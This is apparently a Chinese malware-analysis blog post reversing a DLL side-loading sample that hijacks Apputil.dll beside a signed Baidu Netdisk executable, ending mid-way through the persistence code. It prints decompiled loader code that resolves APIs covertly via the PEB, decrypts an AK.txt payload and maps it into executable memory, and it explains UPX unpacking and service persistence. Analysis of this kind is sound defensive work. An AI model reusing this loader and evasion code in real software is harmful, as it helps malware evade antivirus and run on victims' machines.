【软件逆向- 恶意代码分析:记一次对过核晶白加黑样本的逆向实战】此文章归类为:软件逆向。
本次实战样本收集于360社区的样本提交帖子,该样本提交于当前发帖时间的六个月之前,也即2024年7月,现该样本已被各大杀软的病毒库拉黑。
考虑到目前的社区环境中,有关恶意代码分析的实战样本多少都有点年头,因而对于包括我在内想要了解当前环境下免杀APT开发规范的人,除了能提供一些方法论上的帮助之外,实用价值不算大。
那么对于想了解这些知识,又不想买免杀课等着讲师把知识喂到嘴里的人来说,逆向一个现成的免杀样本要更有学习价值一些;
P.S 《恶意代码分析实战》对我的帮助很大,我的分析过程大体也按照该书的章节顺序来安排,如果这篇文章阅读起来对你来说略感吃力,那么我非常推荐你先去看看这本书
虚拟机:VMware 17.5.1.55451
操作系统:windows 10
版本号: 1909
调试器: x96dbg与Ollydbg
SharpOD反反调插件
反汇编器: IDA 9.0
hrt插件
插件链接:https://github.com/KasperskyLab/hrtng
Dependencies 查看dll依赖项
项目链接:https://github.com/lucasg/Dependencies
火绒剑(现已更名火绒安全分析工具,可在火绒的安全工具界面找到)
CFF Explorer
winhex
样本目录如图所示
Apputil.dll
AK.txt
被利用的白程序BaiduNetdiskForBusiness
BaiduNetdiskForBusiness的依赖dll如图所示
这一样本的白加黑利用所劫持的dll肯定是未公开的,所以我们先忽略掉所有的系统自带dll,而关注同级目录下厂商的自定义dll
而文件Apputil.dll是整个目录中唯一没有合法签名的dll,我们基本可以认定Apputil.dll就是被劫持的黑dll
文件AK.txt所储存的是没有任何意义的16进制字节
显然有经验的读者已经猜出来这玩意是啥了,但我们暂且按下不表,既然Apputil.dll被认定为是黑dll,那么就拖入IDA开始分析
对一个dll的分析方向,或者说对所有的目标程序进行逆向都可以分为两个方面:
通过主入口点按顺序进行分析
通过对使用的API/字符串进行局部分析,随后寻找交叉引用来回溯推导
我个人习惯第二种方式,因为只用考虑关键的局部功能,分析完毕后再推导其调用位置的关系以形成对整个程序总体上运行逻辑的印象,对认知的负担会小一些
那么哪怕是新手也能看出整个目录中比较可疑的就是一个没有意义的.txt文件,既然它存在就肯定有其作用
IDA->view选项栏->Open Subviews->找到strings,全局搜索静态字符串有没有名为ak.txt的地方,结果未能找到
哪怕静态无法搜索到该字符串,也能确定的ak.txt肯定会被使用,《恶意代码分析实战》中列出了一些值得关注的函数,其中也包括文件操作函数
我们首先使用CreateFile函数碰碰运气,进入IDA的导入标签,搜索CreateFile,先选择使用ACSII编码的CreateFileA,随后按下X寻找该函数的交叉引用
可以看见被同一个函数调用两次,该函数已经被我分析并命名,我们运气不错,找到了一个关键点
int get_shellcode_and_run() { DWORD NumberOfBytesRead; // [esp+8h] [ebp-13Ch] BYREF LPVOID lpBuffer_1; // [esp+Ch] [ebp-138h] unsigned int count; // [esp+10h] [ebp-134h] char *__AK.txt_2; // [esp+14h] [ebp-130h] DWORD nNumberOfBytesToRead; // [esp+18h] [ebp-12Ch] char *__AK.txt_1; // [esp+1Ch] [ebp-128h] LPVOID lpBuffer; // [esp+20h] [ebp-124h] HANDLE hFile; // [esp+24h] [ebp-120h] char *__AK.txt_3; // [esp+28h] [ebp-11Ch] char *v10; // [esp+2Ch] [ebp-118h] char v12; // [esp+33h] [ebp-111h] BYREF CHAR Filename[260]; // [esp+34h] [ebp-110h] BYREF char __AK.txt[8]; // [esp+138h] [ebp-Ch] BYREF strcpy(__AK.txt, "\\AK.txt"); GetModuleFileNameA(0, Filename, 0x104u); PathRemoveFileSpecA(Filename); __AK.txt_1 = __AK.txt; v10 = &__AK.txt[strlen(__AK.txt) + 1]; __AK.txt_2 = __AK.txt; count = v10 - __AK.txt; __AK.txt_3 = &v12; while ( *++__AK.txt_3 ) ; qmemcpy(__AK.txt_3, __AK.txt_2, count); hFile = CreateFileA(Filename, 0x80000000, 1u, 0, 3u, 0x80u, 0); if ( hFile != (HANDLE)-1 ) { nNumberOfBytesToRead = GetFileSize(hFile, 0); lpBuffer_1 = (LPVOID)sub_706B45B0(nNumberOfBytesToRead); lpBuffer = lpBuffer_1; NumberOfBytesRead = 0; ReadFile(hFile, lpBuffer_1, nNumberOfBytesToRead, &NumberOfBytesRead, 0); if ( lpBuffer ) de_code_shellcode(lpBuffer); } return 0; }
AK.txt是作为参数入参,由于是通过单个字符串压入栈中的局部变量参数,这才导致字符串没有被搜索到
反汇编生成的伪代码显示Filename似乎只是一个目录名,但如果看汇编的话会发现这是一个字符串拼接,ebp+var_c偏移被放到118h偏移处,也即Filename(-110h)附近
.text:706B2B70 get_shellcode_and_run proc near ; CODE XREF: AppUtil::Misc::VersionInfoDecode(wchar_t * *,int)↓p .text:706B2B70 .text:706B2B70 NumberOfBytesRead= dword ptr -13Ch .text:706B2B70 var_138 = dword ptr -138h .text:706B2B70 var_134 = dword ptr -134h .text:706B2B70 var_130 = dword ptr -130h .text:706B2B70 nNumberOfBytesToRead= dword ptr -12Ch .text:706B2B70 var_128 = dword ptr -128h .text:706B2B70 lpBuffer = dword ptr -124h .text:706B2B70 hFile = dword ptr -120h .text:706B2B70 var_11C = dword ptr -11Ch .text:706B2B70 var_118 = dword ptr -118h .text:706B2B70 var_112 = byte ptr -112h .text:706B2B70 var_111 = byte ptr -111h .text:706B2B70 Filename = byte ptr -110h .text:706B2B70 var_C = byte ptr -0Ch .text:706B2B70 var_4 = dword ptr -4 .text:706B2B70 .text:706B2B70 push ebp .text:706B2B71 mov ebp, esp .text:706B2B73 sub esp, 13Ch .text:706B2B79 mov eax, ___security_cookie .text:706B2B7E xor eax, ebp .text:706B2B80 mov [ebp+var_4], eax .text:706B2B83 push esi .text:706B2B84 push edi .text:706B2B85 mov [ebp+var_C], 5Ch ; '\' .text:706B2B89 mov [ebp+var_C+1], 41h ; 'A' .text:706B2B8D mov [ebp+var_C+2], 4Bh ; 'K' .text:706B2B91 mov [ebp+var_C+3], 2Eh ; '.' .text:706B2B95 mov [ebp+var_C+4], 74h ; 't' .text:706B2B99 mov [ebp+var_C+5], 78h ; 'x' .text:706B2B9D mov [ebp+var_C+6], 74h ; 't' .text:706B2BA1 mov [ebp+var_C+7], 0 .text:706B2BA5 push 104h ; nSize .text:706B2BAA lea eax, [ebp+Filename] .text:706B2BB0 push eax ; lpFilename .text:706B2BB1 push 0 ; hModule .text:706B2BB3 call ds:GetModuleFileNameA .text:706B2BB9 lea ecx, [ebp+Filename] .text:706B2BBF push ecx ; pszPath .text:706B2BC0 call ds:PathRemoveFileSpecA .text:706B2BC6 lea edx, [ebp+var_C] .text:706B2BC9 mov [ebp+var_118], edx .text:706B2BCF mov eax, [ebp+var_118] .text:706B2BD5 mov [ebp+var_128], eax .text:706B2BDB .text:706B2BDB loc_706B2BDB: ; CODE XREF: get_shellcode_and_run+87↓j .text:706B2BDB mov ecx, [ebp+var_118] .text:706B2BE1 mov dl, [ecx] .text:706B2BE3 mov [ebp+var_111], dl .text:706B2BE9 add [ebp+var_118], 1 .text:706B2BF0 cmp [ebp+var_111], 0 .text:706B2BF7 jnz short loc_706B2BDB .text:706B2BF9 mov eax, [ebp+var_118] .text:706B2BFF sub eax, [ebp+var_128] .text:706B2C05 mov ecx, [ebp+var_128] .text:706B2C0B mov [ebp+var_130], ecx .text:706B2C11 mov [ebp+var_134], eax .text:706B2C17 lea edx, [ebp+Filename] .text:706B2C1D add edx, 0FFFFFFFFh .text:706B2C20 mov [ebp+var_11C], edx .text:706B2C26 .text:706B2C26 loc_706B2C26: ; CODE XREF: get_shellcode_and_run+D3↓j .text:706B2C26 mov eax, [ebp+var_11C] .text:706B2C2C mov cl, [eax+1] .text:706B2C2F mov [ebp+var_112], cl .text:706B2C35 add [ebp+var_11C], 1 .text:706B2C3C cmp [ebp+var_112], 0 .text:706B2C43 jnz short loc_706B2C26 .text:706B2C45 mov edi, [ebp+var_11C] .text:706B2C4B mov esi, [ebp+var_130] .text:706B2C51 mov edx, [ebp+var_134] .text:706B2C57 mov ecx, edx .text:706B2C59 shr ecx, 2 .text:706B2C5C rep movsd .text:706B2C5E mov ecx, edx .text:706B2C60 and ecx, 3 .text:706B2C63 rep movsb .text:706B2C65 push 0 ; hTemplateFile .text:706B2C67 push 80h ; dwFlagsAndAttributes .text:706B2C6C push 3 ; dwCreationDisposition .text:706B2C6E push 0 ; lpSecurityAttributes .text:706B2C70 push 1 ; dwShareMode .text:706B2C72 push 80000000h ; dwDesiredAccess .text:706B2C77 lea eax, [ebp+Filename] .text:706B2C7D push eax ; lpFileName .text:706B2C7E call ds:CreateFileA
获得当前运行的目录路径,拼接\\AK.txt成为完整字符串,随后作为CreateFileA的参数打开该文件,动态调试验证了这一点
调用ReadFile传入CreateFileA返回的文件句柄,将读到的文件内容传入缓冲区lpBuffer_1,最后将缓冲区地址传入解密函数de_code_shellcode
int __stdcall de_code_shellcode(_WORD *encrypt_shellcode) { void (__stdcall *run_shellcode)(int, int, _WORD *); // [esp+Ch] [ebp-F4h] int v3; // [esp+18h] [ebp-E8h] int n522818080; // [esp+38h] [ebp-C8h] int jj; // [esp+3Ch] [ebp-C4h] int hModule; // [esp+40h] [ebp-C0h] BYREF unsigned int v7; // [esp+44h] [ebp-BCh] unsigned int i; // [esp+48h] [ebp-B8h] int size; // [esp+4Ch] [ebp-B4h] BYREF unsigned int i4; // [esp+50h] [ebp-B0h] unsigned int i3; // [esp+54h] [ebp-ACh] int i2; // [esp+58h] [ebp-A8h] int i1; // [esp+5Ch] [ebp-A4h] _WORD *v14; // [esp+60h] [ebp-A0h] unsigned int mm; // [esp+64h] [ebp-9Ch] unsigned int kk; // [esp+68h] [ebp-98h] unsigned int ii; // [esp+6Ch] [ebp-94h] struct _LIST_ENTRY *Flink; // [esp+70h] [ebp-90h] BYREF struct _LIST_ENTRY *LdrGetProcedureAddress; // [esp+74h] [ebp-8Ch] struct _LIST_ENTRY *LdrLoadDll; // [esp+78h] [ebp-88h] struct _LIST_ENTRY *NtAllocateVirtualMemory; // [esp+7Ch] [ebp-84h] struct _LIST_ENTRY *NtFreeVirtualMemory; // [esp+80h] [ebp-80h] struct _LIST_ENTRY *RtlDecompressBuffer; // [esp+84h] [ebp-7Ch] NTSTATUS (__stdcall *RtlAnsiStringToUnicodeString)(PUNICODE_STRING, PCANSI_STRING, BOOLEAN); // [esp+88h] [ebp-78h] void (__stdcall *RtlFreeAnsiString)(PANSI_STRING); // [esp+8Ch] [ebp-74h] _WORD *unpacked_shellcode; // [esp+90h] [ebp-70h] BYREF char v27[4]; // [esp+94h] [ebp-6Ch] BYREF struct _PEB *v28; // [esp+98h] [ebp-68h] _WORD *dos_header; // [esp+9Ch] [ebp-64h] _DWORD *nt_header; // [esp+A0h] [ebp-60h] int image_base; // [esp+A4h] [ebp-5Ch] BYREF int nt_eaders; // [esp+A8h] [ebp-58h] int v33; // [esp+ACh] [ebp-54h] LSA_UNICODE_STRING DestinationString; // [esp+B0h] [ebp-50h] BYREF STRING SourceString; // [esp+B8h] [ebp-48h] BYREF _DWORD *pFuncaddr; // [esp+C0h] [ebp-40h] int n1916120355; // [esp+C4h] [ebp-3Ch] int n2116391997; // [esp+C8h] [ebp-38h] int n1980138811; // [esp+CCh] [ebp-34h] int *num; // [esp+D0h] [ebp-30h] _DWORD *nn; // [esp+D4h] [ebp-2Ch] _DWORD *v42; // [esp+D8h] [ebp-28h] int n2117308195; // [esp+DCh] [ebp-24h] int n1930532629; // [esp+E0h] [ebp-20h] unsigned int n; // [esp+E4h] [ebp-1Ch] int m; // [esp+E8h] [ebp-18h] _DWORD *v47; // [esp+ECh] [ebp-14h] unsigned __int16 *k; // [esp+F0h] [ebp-10h] _DWORD *v49; // [esp+F4h] [ebp-Ch] _DWORD *ImportDirectory; // [esp+F8h] [ebp-8h] struct _LIST_ENTRY *j; // [esp+FCh] [ebp-4h] for ( i = 0; i < 0x50; ++i ) *((_BYTE *)&Flink + i) = 0; v28 = NtCurrentPeb(); for ( j = v28->Ldr->InLoadOrderModuleList.Flink; j[3].Flink; j = j->Flink ) { if ( (j[6].Flink->Flink == (struct _LIST_ENTRY *)78 || j[6].Flink->Flink == (struct _LIST_ENTRY *)110) && HIWORD(j[6].Flink->Flink) == 116 && HIWORD(j[6].Flink->Blink) == LOWORD(j[6].Flink[1].Flink) ) { Flink = j[3].Flink; } if ( Flink ) break; } v49 = (struct _LIST_ENTRY **)((char *)&(*(struct _LIST_ENTRY **)((char *)&Flink[7].Blink[15].Flink + (unsigned int)Flink))->Flink + (unsigned int)Flink); v47 = (struct _LIST_ENTRY **)((char *)&Flink->Flink + v49[8]); for ( k = (unsigned __int16 *)((char *)Flink + v49[9]); ; ++k ) { n1930532629 = *(int *)((char *)&Flink->Flink + *v47) ^ 0x1F50E04F; n2117308195 = *(int *)((char *)&Flink->Blink + *v47) ^ 0x1F50E04F; n1980138811 = *(int *)((char *)&Flink[1].Flink + *v47) ^ 0x1F50E04F; n2116391997 = *(int *)((char *)&Flink[1].Blink + *v47) ^ 0x1F50E04F; n1916120355 = *(int *)((char *)&Flink[2].Flink + *v47) ^ 0x1F50E04F; n522818080 = *(int *)((char *)&Flink[2].Blink + *v47) ^ 0x1F50E04F; if ( !NtAllocateVirtualMemory && n1930532629 == 1930532629 && n2117308195 == 2117308195 && n1980138811 == 1980138811 && n2116391997 == 2116391997 && n1916120355 == 1916120355 && n522818080 == 522818080 ) { NtAllocateVirtualMemory = (struct _LIST_ENTRY *)(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7]) + (unsigned int)Flink); } if ( !NtFreeVirtualMemory && n1930532629 == 1830197013 && n2117308195 == 1980138794 && n1980138811 == 2116391997 && n2116391997 == 1916120355 && n1916120355 == 522818080 ) { NtFreeVirtualMemory = (struct _LIST_ENTRY *)(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7]) + (unsigned int)Flink); } if ( !LdrLoadDll && n1930532629 == 0x53228403 && n2117308195 == 1530167584 ) LdrLoadDll = (struct _LIST_ENTRY *)(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7]) + (unsigned int)Flink); if ( !LdrGetProcedureAddress && n1930532629 == 0x58228403 && n2117308195 == 1828754474 && n1980138811 == 2067104544 && n2116391997 == 1580569146 && n1916120355 == 2049082411 ) { LdrGetProcedureAddress = (struct _LIST_ENTRY *)(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7]) + (unsigned int)Flink); } if ( !RtlAnsiStringToUnicodeString && n1930532629 == 1581028381 && n2117308195 == 1278841633 && n1980138811 == 1899598395 && n2116391997 == 1245688872 && n1916120355 == 1882425633 && n522818080 == 0x6B03852B ) { RtlAnsiStringToUnicodeString = (NTSTATUS (__stdcall *)(PUNICODE_STRING, PCANSI_STRING, BOOLEAN))(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7]) + (unsigned int)Flink); } if ( !RtlFreeAnsiString && n1930532629 == 1497142301 && n2117308195 == 1245021501 && n1980138811 == 1882425633 && n2116391997 == 1795392811 && n1916120355 == 2017364285 ) { RtlFreeAnsiString = (void (__stdcall *)(PANSI_STRING))(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7]) + (unsigned int)Flink); } if ( !RtlDecompressBuffer && n1930532629 == 0x5B3C941D && n2117308195 == 0x723F832A && n1980138811 == 0x6C35923F && n2116391997 == 0x7925A23C && (n1916120355 == 0x726566) != 0x1F50E04F ) { RtlDecompressBuffer = (struct _LIST_ENTRY *)(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7]) + (unsigned int)Flink); } if ( LdrLoadDll && NtAllocateVirtualMemory && NtFreeVirtualMemory && LdrGetProcedureAddress && RtlFreeAnsiString && RtlAnsiStringToUnicodeString ) { break; } ++v47; } for ( m = 0; m < 4; ++m ) { encrypt_shellcode[m + 2] += encrypt_shellcode[1]; encrypt_shellcode[m + 2] ^= *encrypt_shellcode; *encrypt_shellcode += m + 2190; } for ( n = 4; n < *((_DWORD *)encrypt_shellcode + 2) >> 1; ++n ) { encrypt_shellcode[n + 2] += encrypt_shellcode[1]; encrypt_shellcode[n + 2] ^= *encrypt_shellcode; *encrypt_shellcode += n + 2190; } size = *((_DWORD *)encrypt_shellcode + 1); ((void (__stdcall *)(int, _WORD **, _DWORD, int *, int, int))NtAllocateVirtualMemory)( -1, &unpacked_shellcode, 0, &size, 0x1000, 4); // NtAllocateVirtualMemory ((void (__stdcall *)(int, _WORD *, _DWORD, _WORD *, _DWORD, char *))RtlDecompressBuffer)(// RtlDecompressBuffer 258, unpacked_shellcode, *((_DWORD *)encrypt_shellcode + 1), encrypt_shellcode + 6, *((_DWORD *)encrypt_shellcode + 2), v27); dos_header = unpacked_shellcode; if ( *unpacked_shellcode != 0x5A4D ) return 0; nt_header = (_DWORD *)((char *)unpacked_shellcode + *((_DWORD *)dos_header + 0xF)); if ( *nt_header != 0x4550 ) return 0; size = nt_header[20]; // nt_header->opt_header->sizeofimage ((void (__stdcall *)(int, int *, _DWORD, int *, int, int))NtAllocateVirtualMemory)( -1, &image_base, 0, &size, 0x1000, 0x40); // NtAllocateVirtualMemory if ( !image_base ) return 0; for ( ii = 0; ii < nt_header[21]; ++ii ) // nt_header->opt_header->sizeofheader *(_BYTE *)(ii + image_base) = *((_BYTE *)dos_header + ii); nt_eaders = *((_DWORD *)dos_header + 0xF) + image_base; *(_DWORD *)(nt_eaders + 0x34) = image_base; // 重定位imagebase v42 = (_DWORD *)(nt_eaders + *(unsigned __int16 *)(nt_eaders + 0x14) + 0x18); for ( jj = 0; jj < *(unsigned __int16 *)(nt_eaders + 6); ++jj ) { if ( v42[4] ) { for ( kk = 0; kk < v42[4]; ++kk ) *(_BYTE *)(kk + v42[3] + image_base) = *((_BYTE *)unpacked_shellcode + v42[5] + kk); } else if ( nt_header[14] ) { for ( mm = 0; mm < nt_header[14]; ++mm ) *(_BYTE *)(mm + v42[3] + image_base) = 0; } v42 += 10; } v33 = image_base - nt_header[13]; if ( v33 && *(_DWORD *)(nt_eaders + 0xA4) ) { for ( nn = (_DWORD *)(*(_DWORD *)(nt_eaders + 160) + image_base); *nn; nn = (_DWORD *)((char *)nn + nn[1]) ) { v3 = *nn + image_base; v14 = nn + 2; v7 = 0; while ( v7 < (unsigned int)(nn[1] - 8) >> 1 ) { if ( (int)(unsigned __int16)*v14 >> 12 == 3 ) *(_DWORD *)((*v14 & 0xFFF) + v3) += v33; ++v7; ++v14; } } } if ( *(_DWORD *)(nt_eaders + 0x84) ) // 判断是否有导入表 if(ImportDirectory.size) { for ( ImportDirectory = (_DWORD *)(*(_DWORD *)(nt_eaders + 0x80) + image_base); ImportDirectory && ImportDirectory[3];// IMAGE_IMPORT_DIRECTORY.Name ImportDirectory += 5 ) // 获得导入表项dll字符,并初始化Unicode { SourceString.Buffer = (char *)(ImportDirectory[3] + image_base);// IMAGE_IMPORT_DIRECTORY.Name for ( i1 = 0; SourceString.Buffer[i1]; ++i1 ) ; SourceString.Length = i1; SourceString.MaximumLength = i1 + 1; RtlAnsiStringToUnicodeString(&DestinationString, &SourceString, 1);// RtlAnsiStringToUnicodeString ((void (__stdcall *)(_DWORD, _DWORD, LSA_UNICODE_STRING *, int *))LdrLoadDll)(0, 0, &DestinationString, &hModule);// LdrLoadDll RtlFreeAnsiString((PANSI_STRING)&DestinationString);// RtlFreeAnsiString if ( !hModule ) return 0; if ( *ImportDirectory ) num = (int *)(*ImportDirectory + image_base); else num = (int *)(ImportDirectory[4] + image_base); for ( pFuncaddr = (_DWORD *)(ImportDirectory[4] + image_base); *num; ++pFuncaddr )// 指针引用,通过名字与序号重定位导入表 { if ( *num >= 0 ) // 序号导出/名称导出 { SourceString.Buffer = (char *)(*num + image_base + 2); for ( i2 = 0; SourceString.Buffer[i2]; ++i2 ) ; SourceString.Length = i2; SourceString.MaximumLength = i2 + 1; ((void (__stdcall *)(int, STRING *, _DWORD, _DWORD *))LdrGetProcedureAddress)( hModule, &SourceString, 0, pFuncaddr); // LdrGetProcedureAddress } else { ((void (__stdcall *)(int, _DWORD, _DWORD, _DWORD *))LdrGetProcedureAddress)( hModule, 0, (unsigned __int16)*num, pFuncaddr); } if ( !*pFuncaddr ) break; ++num; } } } run_shellcode = (void (__stdcall *)(int, int, _WORD *))(*(_DWORD *)(nt_eaders + 0x28) + image_base);// 代码EntryPoint for ( i3 = 0; i3 < 4; ++i3 ) *(_BYTE *)(i3 + image_base) = 0; for ( i4 = 0; i4 < 4; ++i4 ) *(_BYTE *)(i4 + nt_eaders) = 0; if ( *(_DWORD *)(nt_eaders + 0x28) ) run_shellcode(image_base, 1, encrypt_shellcode);// 执行shellcode ((void (__stdcall *)(int, _WORD **, int *, int))NtFreeVirtualMemory)(-1, &unpacked_shellcode, &size, 0x4000);// NtFreeVirtualMemory return image_base; }
该函数的前半部分我没有仔细分析,基本逻辑就是得到当前进程的PEB后遍历PEB_LDR_DATA结构体来获得当前进程加载的模块信息,随后模式搜索获得模块内的函数地址,以此通过函数指针的间接调用来规避逆向工程以及杀软对敏感API的扫描监控,在动态调试的过程中验证了这一点,我根据动态调试的信息重新命名了每个函数指针以及结构体变量(不知道为什么我的IDA 9.0 在新建type的时候无法添加C风格的说明导致结构体没法创建,因而只能先对每个变量进行重新命名)。
而后半部分则是对shellcode进行解密,在解密后出现了典型的对0x5A4D与0x4550的标志判断,至此我们就可以确定AK.txt所储存的一堆无意义字节实际上就是被加密的shellcode,一个可执行文件在内存中被动态解密出来,并通过PE解析来获得PE文件的信息,在我对伪代码的注释中已经表明各部分的功能。
现在所需要确定的就是get_shellcode_and_run如何被调用,xerf显示get_shellcode_and_run的调用位置是VersionInfoDecode,而VersionInfoDecode没有被任何地方显式声明,只是存储在一个固定内存偏移,《恶意代码分析》中将函数被储存于内存固定偏移而无调用的形式解释为两种可能:
该函数是一个被子类所重写的虚函数,导致汇编指令的实现是通过call reg的形式而无法在静态分析时被查找
该函数是一个在导出表之中等待目标调用的导出函数
int __cdecl AppUtil::Misc::VersionInfoDecode() { get_shellcode_and_run(); return ori_VersionInfoDecode(); }
而毫无疑问VersionInfoDecode属于第二种,在Exports标签中被搜索到
至此Apputil.dll的行为逻辑就很清晰了:
白程序BaiduNetdiskForBusiness启动后载入Apputil.dll
Apputil.dll的导出函数VersionInfoDecode被劫持,在被调用时会进入get_shellcode_and_run
get_shellcode_and_run通过GetModuleFileNameA获得当前进程路径,PathRemoveFileSpecA(Filename)获得当前运行目录路径,最后拼接加密shellcode文件AK.txt得到完整路径字符串
CreateFileA打开拼接后的路径,随后ReadFile将加密shellcode数据放入缓冲区,将缓冲区入参调用de_code_shellcode
de_code_shellcode对加密数据进行解密,解析解密后的PE文件定位至EntryPoint,将其强转为函数,直接执行shellcode
在经过分析后发现权限维持行为并不存在于黑dll之中,所以权限维持、开机自启、创建进程等一系列操作都被放入到了shellcode
而想要获得shellcode的二进制文件则有两个渠道:
使用相同的解密算法来解密ak.txt
直接从内存中dump出来
第二种方法省事得多,我们只需要等待内存解密的逻辑执行完成。
((void (__stdcall *)(int, int *, _DWORD, int *, int, int))NtAllocateVirtualMemory)( -1, &image_base, 0, &size, 0x1000, 0x40);
shellcode的内存特征很好识别,我们只需要在动态调试时查看BaseAddress参数的指针所指向的地址,并且确认该地址的页面保护属性是否是如同伪代码一样的PAGE_EXECUTE_READWRITE(0x40)就能确定需要dump的位置,在这次分析中dump的内存地址为0x04540000
if ( *(_DWORD *)(nt_eaders + 0x84) ) // 判断是否有导入表 if(ImportDirectory.size) { for ( ImportDirectory = (_DWORD *)(*(_DWORD *)(nt_eaders + 0x80) + image_base); ImportDirectory && ImportDirectory[3];// IMAGE_IMPORT_DIRECTORY.Name ImportDirectory += 5 ) // 获得导入表项dll字符,并初始化Unicode { SourceString.Buffer = (char *)(ImportDirectory[3] + image_base);// IMAGE_IMPORT_DIRECTORY.Name for ( i1 = 0; SourceString.Buffer[i1]; ++i1 ) ; SourceString.Length = i1; SourceString.MaximumLength = i1 + 1; RtlAnsiStringToUnicodeString(&DestinationString, &SourceString, 1);// RtlAnsiStringToUnicodeString ((void (__stdcall *)(_DWORD, _DWORD, LSA_UNICODE_STRING *, int *))LdrLoadDll)(0, 0, &DestinationString, &hModule);// LdrLoadDll RtlFreeAnsiString((PANSI_STRING)&DestinationString);// RtlFreeAnsiString if ( !hModule ) return 0; if ( *ImportDirectory ) num = (int *)(*ImportDirectory + image_base); else num = (int *)(ImportDirectory[4] + image_base); for ( pFuncaddr = (_DWORD *)(ImportDirectory[4] + image_base); *num; ++pFuncaddr )// 指针引用,通过名字与序号重定位导入表 { if ( *num >= 0 ) // 序号导出/名称导出 { SourceString.Buffer = (char *)(*num + image_base + 2); for ( i2 = 0; SourceString.Buffer[i2]; ++i2 ) ; SourceString.Length = i2; SourceString.MaximumLength = i2 + 1; ((void (__stdcall *)(int, STRING *, _DWORD, _DWORD *))LdrGetProcedureAddress)( hModule, &SourceString, 0, pFuncaddr); // LdrGetProcedureAddress } else { ((void (__stdcall *)(int, _DWORD, _DWORD, _DWORD *))LdrGetProcedureAddress)( hModule, 0, (unsigned __int16)*num, pFuncaddr); } if ( !*pFuncaddr ) break; ++num; } } }
从上述伪代码片段能看出导入表是被重新定位过的,因而一个需要注意的点是如果你直接运行到ep进入前的位置进行dump,就会使导入表中所记录的导出函数地址变成一个绝对地址,而这肯定会导致dump出的文件出现寻址错误;
在重定位导入表逻辑执行前进行dump即可规避这一问题。
第一步我们先对dump出的文件进行查壳,会发现是经典的upx压缩壳
虽然节区名与upx签名特征都未被更改,但常规的upx -d无法脱下我们dump出的shellcode.dll,可以确定该样本的编写者自己二开了upx。
考虑到UPX并不像TMD或VMP等代码虚拟化强壳那般复杂,其作用仅仅是对文件进行压缩,而没有任何虚假控制流、指令替换等混淆操作,因而我们选择手脱UPX,只需要定位到oep让IDA能够正常分析即可。
我选择使用一种对付UPX壳最简单易懂的定位OEP方式,全程你只需要用到F8和F4;
如下图所示,你在脱UPX时会经常发现自己进入了一段循环之中,这种循环操作基本就可以认定为程序正在自解压,当你碰到类似的循环时只需要F4到jxx指令的下一条继续单步执行即可
当你单步多次后会碰见一段标志性指令,popad恢复所有寄存器,在该指令的附近则会存在一个大范围Jmp,如下图
这一jmp会跳转到shellcode的真正入口点,也即OEP(程序原入口点),使用x32dbg自带的Scylla插件将运行到OEP的EIP设置为新入口点,脱壳后的shellcode.dll就可以拖入IDA正常分析了
想要使恶意程序实现开机自启使权限持续存在的手段无非三种:
注册表写入开机启动项键值
计划任务
系统服务
考虑到白加黑程序在做权限维持时,基本都会利用杀软对白程序的信任明目张胆得使用API或命令行,而无论是哪种权限维持其最终都会影响到注册表的表项,因而我们先从注册表相关的导入函数入手
BOOL is_service_existed() { HKEY phkResult; // [esp+0h] [ebp-444h] BYREF DWORD Type; // [esp+4h] [ebp-440h] BYREF DWORD cbData; // [esp+8h] [ebp-43Ch] BYREF BYTE Data[4]; // [esp+Ch] [ebp-438h] BYREF CHAR SubKey[1024]; // [esp+10h] [ebp-434h] BYREF char v6[16]; // [esp+410h] [ebp-34h] BYREF __m128i si128; // [esp+420h] [ebp-24h] char s__%s[8]; // [esp+430h] [ebp-14h] BYREF CHAR ValueName[8]; // [esp+438h] [ebp-Ch] BYREF strcpy(s__%s, "s\\%s"); *(__m128i *)v6 = _mm_load_si128((const __m128i *)&xmmword_6E5B0FD0); si128 = _mm_load_si128((const __m128i *)&xmmword_6E5B0F10); memset(SubKey, 0, sizeof(SubKey)); sprintf(SubKey, v6, ServiceName); // "Windows Eventn" if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 1u, &phkResult) )// 如果状态返回ERROR_SUCCESS(0x0) 则表示打开成功(也即返回值为0) { cbData = 4; strcpy(ValueName, "Start"); if ( !RegQueryValueExA(phkResult, ValueName, 0, &Type, Data, &cbData) )// 如果状态返回ERROR_SUCCESS(0x0) 则表示查询成功(也即返回值为0) { RegCloseKey(phkResult); return *(_DWORD *)Data == 2; } RegCloseKey(phkResult); } return 0; }
通过对RegOpenKeyExA的引用查询发现了一个关键的查询注册表函数,我们根据功能将该函数命名为is_service_existed;
is_service_existed处于dllmain入口点的调用顺序链中,如IDA生成的伪代码所示,其逻辑非常简单,就是根据返回的API的状态信息判断注册表中是否存在目标服务,随后返回TRUE或FALSE;
由于is_service_existed的调用者是RegServiceAndRun,这就成了我们接下来的分析目标。
void __cdecl __noreturn RegServiceAndRun(int a1, int a2) { SC_HANDLE hSCManager; // eax void *hSCObject_1; // edi char *hService; // eax char *hService_1; // esi BOOL started; // eax int v7; // edi char *v8; // eax const CHAR *HidenPath_1; // eax const CHAR *HidenPath; // eax int v11; // ecx const CHAR *TargetPath_1; // eax const CHAR *HijackExeName_2; // ecx void **v14; // edi void **v15; // esi int v16; // [esp-14h] [ebp-228h] BYREF int v17; // [esp-10h] [ebp-224h] char *hSCObject; // [esp+0h] [ebp-214h] int lpThreadParameter; // [esp+4h] [ebp-210h] int v20; // [esp+8h] [ebp-20Ch] void *v21[6]; // [esp+14h] [ebp-200h] BYREF void *v22[6]; // [esp+2Ch] [ebp-1E8h] BYREF void *v23[6]; // [esp+44h] [ebp-1D0h] BYREF void *v24[6]; // [esp+5Ch] [ebp-1B8h] BYREF void *v25[6]; // [esp+74h] [ebp-1A0h] BYREF int *v26; // [esp+8Ch] [ebp-188h] void *v27[6]; // [esp+90h] [ebp-184h] BYREF LPCSTR TargetPathWithExe[5]; // [esp+A8h] [ebp-16Ch] BYREF unsigned int n0x10_1; // [esp+BCh] [ebp-158h] LPCSTR lpPathName[5]; // [esp+C0h] [ebp-154h] BYREF unsigned int n0x10; // [esp+D4h] [ebp-140h] void *v32; // [esp+D8h] [ebp-13Ch] int v33; // [esp+DCh] [ebp-138h] SERVICE_TABLE_ENTRYA ServiceStartTable; // [esp+E0h] [ebp-134h] BYREF char v35[4]; // 